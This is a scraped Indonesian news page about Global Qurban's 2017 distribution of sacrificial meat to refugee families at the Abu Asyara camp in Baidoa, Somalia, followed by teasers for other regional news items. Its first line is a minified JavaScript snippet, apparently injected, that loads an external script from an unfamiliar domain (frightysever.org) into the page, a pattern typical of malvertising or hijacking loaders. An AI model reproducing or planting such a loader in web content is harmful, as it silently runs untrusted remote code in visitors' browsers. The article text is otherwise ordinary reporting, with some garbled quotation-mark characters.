(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Daging kurban satu per satu diturunkan dari atas truk, bersamaan dengan rasa terima kasih yang disampaikan lewat gerakan tubuh mereka. Lengkap dengan senyum dan tangan bersedekap tanda syukur. “Mahadsanid Indonesia, Masya Allah Mahadsani,†kata seorang ibu. Mahadsanid berarti “terima kasih†dalam bahasa Somalia.
Amanah kurban untuk Mogadishu tuntas terselesaikan, tapi perjalanan belum berhenti. Setahun lalu Tim Global Qurban juga terbang sampai Kota Baidoa, menyelesaikan hari tasyrik di Baidoa. Kota kecil di 243 kilometer sebelah utara Mogadishu, ibu kota dari Bay Region.
Setiap tahunnya, kembali ke Baidoa pun menjadi rutinitas, silaturahmi wajib sembari merayakan Lebaran Kurban dengan ribuan pengungsi di Baidoa. Kembali ke kota ini, kesannya pun sama. Baidoa hanya punya debu-debu yang jauh lebih kejam dibanding Mogadishu. Gersang, debu, dan kemiskinan di hampir seluruh sudut kota.
Mengapa kurban dari Indonesia sampai jauh di bawa ke Baidoa? Sejak awal 1990-an sampai akhir 2012 lalu Baidoa merekam sejarah panjang tentang kota yang dijajah, dikuasai, lalu direbut kembali oleh Pemerintah Somalia dibantu pasukan militer perdamaian Uni-Afrika.
Kini Baidoa memang lebih aman. Tapi aman tidak menyelesaikan masalah. Hanya ada dua identitas masyarakat di wilayah ini: miskin dan miskin sekali. Rumah mereka berupa tenda-tenda pengungsian, dibangun dari ranting dan kain seadanya. Busuk, kotor, amis, gersang dan tak ada air, begitu kondisi kamp pengungsian ribuan keluarga di Baidoa.
September 2017, Global Qurban di Baidoa, Somalia menyelesaikan amanah terakhir ratusan ekor sapi disembelih di sebuah tanah lapang. Puluhan ton daging kurban lalu dibawa ke kamp bernama Abu Asyara, kamp dengan kepadatan yang masif.
“Masyarakat Baidoa menyebut kamp ini dengan nama Abu Asyara, sesuai nama wilayahnya. Kamp ini adalah rumah bagi ribuan keluarga eks-Kamp Dadaab bermukim,†kata Aliman Ali (44), wakil mitra Global Qurban di Baidoa.
Sampai di area Kamp Pengungsian Abu Asyara, ratusan keluarga pengungsi dibariskan rapi, rata-rata adalah perempuan. “Satu persatu daging kurban yang sudah dibungkus dalam kantong tebal Global Qurban dibagikan. Simpul senyum dan kehangatan Kamp Abu Asyara menjadi penutup cerita implementasi Global Qurban tahun 2017 untuk Somalia. Mahadsanid Baidoa. Mahadsanid Indonesia,†pungkas Bambang Triyono. (act/tim)
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
This website uses cookies.